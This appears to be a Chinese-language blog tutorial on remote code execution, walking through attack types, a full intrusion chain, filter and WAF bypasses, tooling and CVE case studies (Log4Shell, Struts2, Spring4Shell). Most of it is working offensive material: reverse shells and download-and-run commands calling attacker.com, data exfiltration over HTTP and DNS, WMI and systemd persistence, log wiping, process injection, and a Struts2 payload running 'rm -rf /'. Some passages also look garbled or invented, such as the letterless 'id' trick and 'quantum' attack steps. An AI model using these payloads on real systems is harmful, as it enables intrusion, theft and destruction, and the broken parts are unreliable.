| 无文件RCE | 零磁盘写入 注册表/内存存储 合法进程注入 | 终端防护严格环境 取证困难场景 金融系统攻击 | ★★★★☆ | ★★★★★ | Cobalt Strike Beacon PowerShell Empire |
| 内核级RCE | Ring0权限执行 绕过用户层防护 直接硬件访问 | 反病毒对抗 固件攻击 硬件层渗透 | ★★★★★ | ★★★★★ | CVE-2021-21551(NVIDIA驱动) CVE-2021-22555(Netfilter) |
| 跨平台RCE | 多OS通用 解释器漏洞利用 硬件无关 | 混合云环境 容器集群 物联网设备 | ★★★★☆ | ★★★★☆ | CVE-2017-5638(Struts2) CVE-2021-45046(Log4j) |
3.技术深度剖析
一、直接命令执行 (Direct Command Execution)
技术原理深度剖析

攻击流程详解:
1. 输入点探测:寻找未过滤的参数(如`cmd`、`exec`)
2. 分隔符注入:使用`;`、`&`、`|`等分割命令
3. 命令构造:
; curl http://attacker.com/shell.sh | sh
&& wget -O /tmp/mal.sh http://attacker.com/mal.sh
| bash -c 'echo evil > /etc/cron.d/backdoor'
4. 环境利用:通过`PATH`、`LD_PRELOAD`等环境变量控制执行路径
5. 权限提升:结合`sudo`漏洞或`setuid`程序提权
经典案例:
Shellshock (CVE-2014-6271):
curl -H "User-Agent: () { :; }; /bin/eject" http://victim.com/cgi-bin/vuln-script
Apache Struts (CVE-2017-5638):
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='rm -rf /').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
二、盲注型RCE (Blind RCE)
技术实现深度剖析

数据外带技术矩阵:
| 技术 | 实现方式 | 检测难度 | 适用场景 |
| DNS外带 | `nslookup $(whoami).attacker.com` | ★★☆☆☆ | 严格防火墙环境 |
| HTTP外带 | `curl http://attacker.com/$(cat /etc/passwd|base64)` | ★★★☆☆ | 允许HTTP出口 |
| ICMP隧道 | `ping -p $(echo secret|xxd -p) 192.168.1.1` | ★★★★☆ | 网络监控严格 |
| 时间盲注 | `if [ $(id -u) -eq 0 ]; then sleep 10; fi` | ★★★★★ | 完全网络隔离 |
| 像素追踪 | `<img src="http://attacker.com?pixel=ENCODED_DATA">` | ★★★☆☆ | Web应用环境 |
高级利用工具:
# 使用DNSExfiltrator外带数据
dnsexfiltrator --dns server.com --file secret.doc --password MySecr3tPass
防御策略:
命令执行超时限制:`timeout 5s dangerous_command`
网络出口过滤:阻止非常规协议外联
执行环境隔离:使用容器网络策略
三、内存型RCE (In-Memory RCE)
技术栈全景

Windows内存注入全流程:
// 1. 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 2. 分配内存
LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL, shellcode_size,
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 3. 写入Shellcode
WriteProcessMemory(hProcess, pRemoteMem, shellcode, shellcode_size, NULL);
// 4. 创建远程线程
CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pRemoteMem, NULL, 0, NULL);
Linux无文件攻击:
# 使用memfd_create
exec -a "init" $(echo -ne '\x7fELF...' | dd of=/proc/self/mem bs=1 seek=$((0x1000)) conv=notrunc)
防御策略:
启用控制流防护(CFG/XFG)
实施代码签名策略
使用硬件强制堆栈保护(CET)
四、链式组合RCE (Chained RCE)
ProxyLogon攻击链深度解析

漏洞组合技术:
1. 初始访问层:Web漏洞(SSRF/文件上传)
2. 权限提升层:本地提权漏洞(如内核漏洞)
3. 持久化层:服务创建/计划任务
4. 横向移动层:凭证窃取/Pass-the-Hash
防御策略:
攻击路径分析:模拟攻击链检测薄弱点
最小权限原则:每个服务独立账户
网络微分段:限制服务器间通信
五、持久化RCE (Persistent RCE)
跨平台持久化技术

高级持久化案例:
# Windows WMI永久事件订阅
$FilterArgs = @{
EventNamespace = 'root/cimv2'
Name = 'MaliciousFilter'
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process'"
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Class __EventFilter -Arguments $FilterArgs
$ConsumerArgs = @{
Name = 'MaliciousConsumer'
CommandLineTemplate = "C:\Windows\System32\malware.exe"
}
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $ConsumerArgs
$BindingArgs = @{
Filter = $Filter
Consumer = $Consumer
}
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments $BindingArgs
检测与防御:
基线监控:`Get-WmiObject __FilterToConsumerBinding`
行为分析:异常子进程创建
文件完整性监控:关键系统目录校验
六、无文件RCE (Fileless RCE)
技术实现矩阵

Windows注册表存储攻击:
# 将Payload存储在注册表
$payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes("malware.exe"))
Set-ItemProperty -Path HKCU:\Environment -Name Update -Value $payload
# 执行时加载
$code = [Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\Environment).Update)
[Reflection.Assembly]::Load($code).EntryPoint.Invoke($null, $null)
防御策略:
PowerShell深度日志:启用脚本块日志
AMSI扫描:反恶意软件扫描接口
内存取证:Volatility框架检测
七、内核级RCE (Kernel-Level RCE)
攻击技术全景

Linux内核漏洞利用(CVE-2021-22555):
// Netfilter漏洞利用
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
struct nf_hook_ops vuln_ops = {
.hook = vuln_hook_fn,
.pf = NFPROTO_IPV4,
.hooknum = NF_INET_POST_ROUTING,
.priority = NF_IP_PRI_FIRST
};
static unsigned int vuln_hook_fn(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) {
// 恶意操作
return NF_ACCEPT;
}
// 注册恶意hook
nf_register_net_hook(&init_net, &vuln_ops);
防御策略:
内核地址空间随机化(KASLR)
写保护页表(W^X)
驱动签名强制(DSE)
基于虚拟化的安全(VBS)
八、跨平台RCE (Cross-Platform RCE)
攻击面分析

Log4j攻击链深度解析:

跨平台防御策略:
1. 统一补丁管理:
# 使用Ansible批量更新
ansible all -m apt -a "name=log4j upgrade=yes"
2. 容器镜像扫描:
trivy image --severity CRITICAL myapp:latest
3. 解释器加固:
# Python沙箱限制
import restricted
from restricted import safe_builtins
exec('user_code', {'__builtins__': safe_builtins})
九、未来攻击与防御趋势
新兴攻击向量

防御技术演进
1. 硬件辅助安全:
Intel CET (Control-flow Enforcement)
AMD SEV (Secure Encrypted Virtualization)
ARM MTE (Memory Tagging Extension)
2. 机密计算:

3. AI驱动防御:
class AISecurity:
def __init__(self):
self.model = load_model("rce_detection_v3.h5")
def detect(self, syscall_sequence):
prediction = self.model.predict(sequence_to_vector(syscall_sequence))
return prediction > 0.95
六、完整攻击链分解
1.攻击链全景图

2.阶段深度解析
2.1 信息收集 (Information Gathering)

技术细节与工具:
Nmap高级扫描:
# 全面扫描+漏洞检测
nmap -sV -sC -O -T4 -Pn -p- --script vuln 192.168.1.0/24
# 结果解析
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| vulners:
| cpe:/a:openssh:openssh:8.2p1:
| CVE-2021-41617 7.8 https://vulners.com/cve/CVE-2021-41617
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-vulners:
| /: Apache 2.4.41 vulnerabilities
| CVE-2021-41773 7.5 https://vulners.com/cve/CVE-2021-41773
被动情报收集:
# Amass深度侦查
amass enum -passive -d example.com -config config.ini
# Shodan搜索
shodan search 'http.title:"Dashboard" port:443 country:"US"'
# GitHub敏感信息扫描
trufflehog --regex --entropy=False https://github.com/target/repo.git
2.2 漏洞探测 (Vulnerability Probing)

高级探测技术:
RCE特征fuzzing:
import requests
from fuzzing_book import Fuzzer
# 自定义RCE fuzzer
class RCEFuzzer(Fuzzer):
def __init__(self, url, param):
self.url = url
self.param = param
self.payloads = [
';id;',
'${jndi:ldap://test}',
'{{7*7}}',
'<?php system($_GET["cmd"]);?>'
]
def run(self):
for payload in self.payloads:
params = {self.param: payload}
try:
r = requests.get(self.url, params=params, timeout=3)
if "uid=" in r.text or "49" in r.text:
return f"Vulnerable! Payload: {payload}"
except:
continue
return "No RCE detected"
# 使用示例
fuzzer = RCEFuzzer('http://target.com/api', 'input')
print(fuzzer.run())
时间盲注探测:
GET /ping?ip=127.0.0.1;sleep$((RANDOM%4+1)) HTTP/1.1
Host: target.com
2.3 载荷构造 (Payload Crafting)

高级载荷示例:
# 多平台自适应载荷
#!/bin/bash
if [[ "$OSTYPE" == "linux-gnu"* ]]; then
# Linux载荷
exec 3<>/dev/tcp/attacker.com/4444
cat <&3 | while read line; do $line 2>&3; done
elif [[ "$OSTYPE" == "msys" || "$OSTYPE" == "win32" ]]; then
# Windows载荷
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
else
exit 1
fi
2.4. 初始访问 (Initial Access)

突破技术详解:
Log4j漏洞利用:
GET / HTTP/1.1
Host: vulnerable.com
User-Agent: ${jndi:ldap://attacker.com/Exploit}
Apache路径穿越RCE(CVE-2021-41773):
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: target.com
Content-Type: text/plain
echo; id
2.5 命令执行 (Command Execution)

执行策略与对抗:
隐蔽执行:
# Linux隐藏进程
(nohup bash -c 'while true; do curl http://attacker.com/c2; done' &>/dev/null &)
# Windows隐藏执行
Start-Job -ScriptBlock { while($true) { Invoke-WebRequest http://attacker.com/c2; Start-Sleep 60 } }
防御规避:
# 禁用历史记录
unset HISTFILE
# 清除日志
find /var/log -type f -exec sh -c 'echo "" > {}' \;
# 使用合法进程名
cp /bin/bash /usr/lib/systemd/systemd-udevd
/usr/lib/systemd/systemd-udevd -c /tmp/.config
2.6 权限提升 (Privilege Escalation)

提权技术详解:
Linux内核提权 (CVE-2021-4034):
# PwnKit利用
wget http://attacker.com/pwnkit -O /tmp/.pwn
chmod +x /tmp/.pwn
/tmp/.pwn
id
# uid=0(root) gid=0(root) groups=0(root)
Windows提权 (JuicyPotato):
# 下载并执行提权工具
Invoke-WebRequest http://attacker.com/JuicyPotato.exe -OutFile C:\Windows\Temp\jp.exe
C:\Windows\Temp\jp.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -c {CLSID}
2.7 持久化 (Persistence)

高级持久化技术:
Linux Systemd服务:
# /etc/systemd/system/backdoor.service
[Unit]
Description=Fake Log Service
[Service]
ExecStart=/bin/bash -c "while true; do curl http://attacker.com/c2; sleep 60; done"
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
Windows WMI事件订阅:
$FilterArgs = @{
EventNamespace='root/cimv2'
Name='MaliciousFilter'
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$Filter = Set-WmiInstance -Class __EventFilter -Arguments $FilterArgs
$ConsumerArgs = @{
Name='MaliciousConsumer'
CommandLineTemplate="powershell -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\""
}
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $ConsumerArgs
$BindingArgs = @{
Filter = $Filter
Consumer = $Consumer
}
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments $BindingArgs
2.8 横向移动 (Lateral Movement)

横向移动技术:
Pass-the-Hash攻击:
# 使用Impacket工具包
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.10
SSH证书滥用:
# 通过跳板机横向移动
ssh -i id_rsa user1@host1 "ssh -i id_rsa user2@host2 'curl http://attacker.com/payload | sh'"
2.9 目标达成 (Objective Completion)

最终阶段操作:
数据外传:
# 压缩并上传数据
tar czf /tmp/data.tar.gz /etc /home /var/www
curl -T /tmp/data.tar.gz http://attacker.com/upload
# 使用DNS隧道外传
cat /etc/passwd | xxd -p -c 16 | while read line; do dig $line.data.attacker.com; done
痕迹清除:
# Linux痕迹清除脚本
history -c
find / -name ".*_history" -exec rm -f {} \;
find /var/log -type f -exec sh -c 'echo "" > {}' \;
rm -f /var/log/wtmp /var/log/btmp
3.完整攻击链示例:Exchange服务器入侵

4.各阶段技术要点:
1. 信息收集:框架指纹识别、中间件版本扫描
2. 漏洞探测:参数fuzzing、协议分析
3. 载荷构造:根据过滤规则动态生成payload
4. 初始访问:利用漏洞建立执行通道
5. 命令执行:系统命令/内存shellcode执行
6. 权限提升:内核漏洞提权(DirtyPipe)
7. 持久化:crontab/Windows服务/启动项
8. 横向移动:Pass-the-Hash/凭证窃取
七、高级绕过技术
1.命令注入绕过技术
1.1 字符过滤绕过

高级绕过示例:
# 空格绕过
cat${IFS}flag.txt
cat<>flag.txt
{cat,flag.txt}
# 关键词绕过
c\at fla*.txt # 反斜杠+通配符
${PATH:0:1}bin${PATH:0:1}cat /etc/passwd # 环境变量切割
$(printf "\143\141\164\40\146\154\141\147\56\164\170\164") # 八进制编码
# 特殊符号绕过
%0acat%20flag.txt%0a # URL编码换行符
`echo$IFS'ZWNobyAiSGVsbG8gV29ybGQi'|base64$IFS-d` # 嵌套执行
1.2 无字母数字RCE
仅用$(){}实现代码执行:
# 生成"id"命令
_=$(($$/$$)) # 得到1
__=${_}{_,} # 1{_,} => 1_ 1,
___=${__:1:1} # 得到_
____=${___}$(($$/$$))${___} # _1_
_____=${____:1:1} # 得到1
______=${_____}$(($$/$$)) # 11
_______=${______}$(($$/$$)) # 111
# 构造"id"字符串
${_______::1} = "1" -> 八进制151 -> 字符"i"
${_______::2} = "11" -> 八进制151151 -> 字符"d"
$(echo${IFS}-e${IFS}"\151\144") # 最终执行id命令
2.代码执行绕过技术
2.1 PHP绕过技术

高级PHP绕过:
<?php
// 1. 字符串构造
$f = 'sy'.'ste'.'m';
$f('id');
// 2. 十六进制绕过
$f = hex2bin('73797374656d'); // system
$f('id');
// 3. 回调函数
array_map('system', ['id']);
// 4. 反射绕过
$func = new ReflectionFunction('system');
$func->invoke('id');
// 5. 反序列化利用
class Exploit {
public $cmd = 'id';
public function __destruct() {
($this->cmd)();
}
}
unserialize('O:7:"Exploit":1:{s:3:"cmd";s:2:"id";}');
2.2 Java反序列化绕过
黑名单绕过技术:
// 使用ScriptEngineManager绕过Runtime限制
new ScriptEngineManager().getEngineByName("JavaScript")
.eval("java.lang.Runtime.getRuntime().exec('calc.exe')");
// 使用ProcessBuilder
new ProcessBuilder("cmd", "/c", "calc.exe").start();
// 使用JNDI工厂类
new InitialContext().lookup("ldap://attacker.com/Exploit");
// 使用BCEL类加载器
Class.forName("$$BCEL$$...").newInstance();
3.WAF/IDS绕过技术
3.1 HTTP请求走私

实际利用:
POST /api HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
POST /admin RCE_PAYLOAD
3.2 分块编码绕过
POST /vulnerable.php HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
1E
cmd=echo;cat /etc/passwd
0
3.3 多重编码绕过
# 七层编码混淆
from urllib.parse import quote
payload = '; cat /etc/passwd;'
obfuscated = quote(quote(quote(quote(payload))))
# 最终payload: %252525253B%2525252520cat%2525252520%252525252Fetc%252525252Fpasswd%252525253B
4.沙箱逃逸技术
4.1 容器逃逸技术

实际逃逸:
# 通过挂载逃逸
docker run -v /:/host -it ubuntu chroot /host bash
# 利用内核漏洞
./dirtypipe /etc/passwd 1 "root::0:0:root:/root:/bin/bash\n"
4.2 语言沙箱逃逸
Python沙箱逃逸:
# 1. 内置函数利用
().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['system']('id')
# 2. 导入模块绕过
__import__('os').system('id')
# 3. 异常处理利用
try:
raise Exception("")
except Exception as e:
e.__traceback__.tb_next.tb_frame.f_globals['__builtins__']['__import__']('os').system('id')
5.内存保护绕过
5.1 Windows内存保护绕过

实际ROP链构造:
// 典型ROP链结构
rop_chain = [
kernel32_base + 0x0002c10c, // POP EAX; RET
0x90909090,
kernel32_base + 0x0001a1fc, // POP ECX; RET
address_of_writable_memory,
kernel32_base + 0x0002d4a4, // MOV [ECX], EAX; RET
// 设置VirtualProtect参数
kernel32_base + 0x0002c10c, // POP EAX; RET
(DWORD) &VirtualProtect,
// 调用VirtualProtect
kernel32_base + 0x0001f075 // CALL EAX
];
6.签名验证绕过
6.1 代码签名绕过技术

DLL劫持示例:
1. 找到合法签名的程序(如notepad.exe)
2. 创建同名的恶意DLL(如d3d11.dll)
3. 利用DLL搜索顺序劫持执行
7.AI辅助绕过技术
7.1 对抗性机器学习
import torch
import torch.nn as nn
class BypassGenerator(nn.Module):
def __init__(self):
super().__init__()
self.encoder = nn.LSTM(128, 256, batch_first=True)
self.decoder = nn.LSTM(256, 128, batch_first=True)
def forward(self, x):
x, _ = self.encoder(x)
x, _ = self.decoder(x)
return x
# 生成绕过WAF的payload
def generate_bypass_payload(original_payload):
model = BypassGenerator.load("waf_bypass_model.pt")
encoded = tokenize(original_payload)
obfuscated = model(encoded)
return detokenize(obfuscated)
8.硬件级绕过技术
8.1 BIOS/UEFI固件攻击

实际攻击步骤:
1. 使用`flashrom`工具备份当前固件
2. 使用`UEFITool`修改固件映像
3. 插入恶意DXE驱动程序
4. 刷写修改后的固件
5. 重启系统实现持久化
9.防御检测绕过技术
9.1 反沙箱技术
// 高级反沙箱检测
BOOL IsDebuggerPresentEx() {
__try {
__asm {
push eax
mov eax, fs:[30h] // PEB
mov al, [eax + 2h] // BeingDebugged
test al, al
pop eax
jnz DebuggerDetected
}
return FALSE;
DebuggerDetected:
return TRUE;
} __except(EXCEPTION_EXECUTE_HANDLER) {
return TRUE;
}
}
// 虚拟机检测
BOOL IsVirtualMachine() {
int cpuInfo[4];
__cpuid(cpuInfo, 1);
return (cpuInfo[2] & (1 << 31)) != 0; // 检查Hypervisor位
}
10.新兴绕过技术
10.1 量子计算攻击

1. 使用量子计算机对公钥进行因式分解
2. 在多项式时间内计算私钥
3. 解密捕获的加密通信
4. 获取敏感认证凭证
5. 执行远程命令
11.自动化绕过工具链
11.1 高级绕过框架
# Obfusca7e框架使用
python3 obfusca7e.py -t "http://target/vuln?param=INJECT" \
-p "cat /etc/passwd" \
-m advanced \
--layers 5 \
--encode base64,hex,url
# 生成payload:
# %2525252F%2525252A%2525252A%2525252F%25252524%2525257B%25252550%25252541%25252554%25252548%2525253A%25252530%2525252C%25252531%2525257D%25252562%25252569%2525256E%25252524%2525257B%25252550%25252541%25252554%25252548%2525253A%25252530%2525252C%25252531%2525257D%25252563%25252561%25252574%25252524%2525257B%25252549%25252546%25252553%2525257D%2525252F%25252565%25252574%25252563%2525252F%25252570%25252561%25252573%25252573%25252577%25252564
总结与演进趋势
绕过技术演进:
1. 从简单到复杂:
2. 跨层渗透趋势:
应用层 → 系统层 → 硬件层
物理设备 → 云环境 → 容器集群
八、实战检测工具链
一、静态代码检测工具链
1. SAST工具深度应用
CodeQL实战流程:
import java
from MethodAccess call
where call.getMethod().getName() = "exec" // 定位命令执行点
and call.getCaller().getFile().getAbsolutePath().matches("%webapp%")
select call, "RCE风险:未过滤的系统命令调用"
关键能力:通过数据流追踪(`DataFlow::Path`)分析用户输入到`Runtime.exec()`的路径,识别过滤缺失点。
Semgrep高级规则:
rules:
- id: rce-os-system
pattern: os.system($CMD)
message: "直接执行系统命令:$CMD"
languages: [python]
severity: CRITICAL
扩展场景:支持50+语言,可检测`eval()`、`pickle.loads()`等高风险函数。
2. 二进制审计工具
Ghidra反编译检测:
定位`system`/`popen`等危险函数调用
分析栈结构识别缓冲区溢出风险(如`strcpy`未校验长度)
BinDiff案例:比对补丁前后二进制文件,定位CVE-2025-53770漏洞修复点(`mov eax`→`call secure_check`)。
二、动态检测工具链
1. 流量级检测工具
Burp Suite插件生态:
Turbo Intruder:用于盲注RCE的延时检测
def queueRequests(target, wordlists):
engine.queue(target.req, delay=1000) # 设置延时基线
engine.queue(target.req + " && sleep 5", delay=5000) # 检测时间差异
ActiveScan++:扩展Shiro/CVE-2025-53770的payload库
WAF绕过检测工具:
ByeWAF:采用多级编码绕过策略
python3 byeWAF.py -u "http://target/_api" -p "cmd=;id" \
--tamper "base64,url,unicode"
2. 主机级监控工具
Sysmon精细化配置:
<RuleGroup name="RCE Detection">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">.dll & certutil -urlcache</CommandLine>
</ProcessCreate>
<NetworkConnect onmatch="include">
<DestinationPort condition="is">53</DestinationPort> <!-- DNS外带检测 -->
</NetworkConnect>
</RuleGroup>
联动EDR:实时阻断异常进程树(如`powershell`派生`rundll32`)。
三、漏洞利用框架链
1. Metasploit模块化利用
内网穿透集成:
use exploit/multi/http/sharepoint_rce_53770
set RHOSTS 192.168.1.0/24
set THREADS 50 # 全网段自动化扫描
exploit -j -z
优势:内置向日葵RCE(CVE-2022-XXXX)、Shiro等模块。
2. Cobalt Strike高级利用
DNS Beacon隐匿通信:
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker/dns.ps1')"
防御绕过:通过TXT记录传输数据,规避流量审计。
四、专项漏洞工具链
1. 无回显漏洞探测工具
DNSLog平台集成:
curl "http://target/ping?ip=;ping+${RANDOM}.user.dnslog.cn"
# 平台刷新后查看解析记录:cite[1]:cite[2]
进阶用法:结合ICMP/TCP外带工具如`pingtunnel`。
2. 反序列化漏洞工具链
Shiro专项检测:
python3 shiro-check-rce.py -u http://target/login -c "whoami" \
-t ceye_token -k kPH+bIxk5D2deZiIxcaaaA==:cite[7]:cite[8]
自动化利用:内置Key字典爆破、反弹Shell自动编码。
Hessian利用链:
java -jar marshalsec-0.0.3.jar hessian LDAP://attacker:1389/Exploit
# 触发XXL-JOB的/api端点实现RCE:cite[6]
3. 特定产品漏洞工具
向日葵RCE利用链:
sunRce.exe -h 192.168.1.100-200 -t scan # 网段扫描
sunRce.exe -h 192.168.1.105 -t rce -c "certutil -urlcache http://attacker/shell.exe":cite[5]
提权整合:通过`-c "sc create backdoor binpath=shell.exe"`注册服务实现持久化。
五、工具链协同与自动化
1. 工具链编排框架

2. DevSecOps集成
GitLab SAST Pipeline:
stages:
- test
sast:
stage: test
image: semgrep/semgrep
script:
- semgrep --config=p/rce --json > report.json
artifacts:
paths: [report.json]
反馈机制:自动提交Issue至JIRA。
六、前沿检测技术演进
1. AI辅助漏洞挖掘
model = transformers.AutoModelForSequenceClassification.from_pretrained("rce_detector")
input = tokenizer("user_input = request.GET['cmd']; os.system(user_input)", return_tensors="pt")
output = model(**input) # 预测漏洞概率>95%:cite[3]
2. 硬件级行为监控
Intel PT:追踪处理器指令流,检测异常跳转(如ROP链)
eBPF实时分析:在内核层拦截`execve`的非常规调用路径。
九、经典漏洞案例分析
一、Log4Shell(CVE-2021-44228)全景解析
漏洞原理深度剖析

漏洞触发流程:
1. 恶意日志注入:
logger.error("${jndi:ldap://attacker.com/Exploit}");
2. JNDI解析流程:
Context ctx = new InitialContext();
Object obj = ctx.lookup("ldap://attacker.com/Exploit"); // 触发恶意类加载
3. 恶意类构造:
public class Exploit {
static {
try {
Runtime.getRuntime().exec("curl http://attacker.com/shell | sh");
} catch (Exception e) {}
}
}
影响范围统计:
| 影响领域 | 受影响系统 | 全球影响比例 |
| 云服务 | AWS/Azure/GCP | 42% |
| 企业应用 | VMware/IBM WebSphere | 31% |
| 网络设备 | Cisco/Fortinet | 18% |
| IoT设备 | 监控/路由设备 | 9% |
修复方案对比:
# log4j2.xml 配置变更
<Configuration>
+ <Properties>
+ <Property name="log4j2.formatMsgNoLookups">true</Property>
+ </Properties>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
- <PatternLayout pattern="%m%n"/>
+ <PatternLayout pattern="%m{nolookups}%n"/>
</Console>
</Appenders>
</Configuration>
二、Spring4Shell(CVE-2022-22965)技术深潜
漏洞原理图解

漏洞利用代码剖析:
POST /users HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
影响版本矩阵:
| Spring Framework | JDK | Tomcat | 是否受影响 |
| 5.3.x | 9+ | 10.x | 是 |
| 5.2.x | 9+ | 9.x | 是 |
| 5.3.x | 8 | 9.x | 否 |
| 5.2.x | 8 | 8.x | 否 |
三、Apache Struts2 (CVE-2017-5638) 深度分析
漏洞触发机制

漏洞利用代码:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
漏洞修复方案:
// DefaultContentTypeMatcher.java
public boolean matches(String contentType) {
+ if (contentType == null) {
+ return false;
+ }
- return this.acceptedContentTypes.contains(contentType.toLowerCase());
+ String lowerContentType = contentType.toLowerCase();
+ if (lowerContentType.contains("ognl") || lowerContentType.contains("java")) {
+ return false;
+ }
+ return this.acceptedContentTypes.contains(lowerContentType);
}
四、永恒之蓝(EternalBlue)MS17-010
漏洞利用链全景

漏洞利用代码分析:
# 永恒之蓝利用核心代码(简化版)
def exploit(target_ip):
# 1. 建立SMB连接
conn = SMBConnection(target_ip)
# 2. 发送畸形事务请求
trans_packet = create_trans_packet(
param=overflow_buffer, # 精心构造的溢出数据
data=kernel_shellcode # 内核级Shellcode
)
conn.send(trans_packet)
# 3. 触发内核Shellcode
conn.send_trigger_packet()
# 4. 部署DoublePulsar后门
deploy_doublepulsar(conn)
影响统计:
全球影响:超过20万台Windows设备被感染
传播速度:首日感染10万台设备
经济损失:全球超过100亿美元
五、心脏滴血(Heartbleed)CVE-2014-0160
漏洞原理深度解析

内存泄露示意图:
| 类型 | 长度 | 有效载荷 | 填充数据 |
| 1字节 | 2字节 | 变长 | 变长 |
| 0x18 | 0x40 | "HELLO" | 内存数据... |
漏洞检测脚本:
def check_heartbleed(host, port=443):
s = socket.socket()
s.connect((host, port))
# 发送TLS ClientHello
s.send(bytearray.fromhex("16030100dc010000d8030300..."))
# 构造恶意Heartbeat请求
payload = "HELLO".encode()
heartbeat = bytearray.fromhex("18 03 02 00 03 01") # TLS 1.1 Heartbeat
heartbeat.extend([0x40, 0x00]) # 长度字段 16384
heartbeat.extend(payload)
s.send(heartbeat)
response = s.recv(0x10000)
# 检测响应是否包含额外内存数据
if len(response) > len(payload) + 5:
print(f"[!] Vulnerable! Leaked {len(response)-5} bytes")
print(response[5:].decode(errors='ignore'))
六、ProxyLogon(CVE-2021-26855)攻击链解析
完整攻击流程图

关键漏洞点:
POST /autodiscover/autodiscover.json?@malicious.com/autodiscover/autodiscover.json? Email=autodiscover/autodiscover.json%3F@malicious.com HTTP/1.1
Host: exchange
Content-Type: application/x-www-form-urlencoded
{
"ServerInfo": {
"Server": "127.0.0.1",
"Port": 80,
"VirtualDirectory": "autodiscover",
"Protocol": "http"
}
}
防御方案:
1. 紧急缓解:
# 禁用相关虚拟目录
Set-OabVirtualDirectory -Identity "EXCH01\OAB (Default Web Site)" -ExternalUrl $null
Set-WebServicesVirtualDirectory -Identity "EXCH01\EWS (Default Web Site)" -BasicAuthentication $false
2. 永久修复:
安装2021年3月安全更新(KB5000871)
启用Windows Defender for Identity检测

3829

被折叠的 条评论
为什么被折叠?



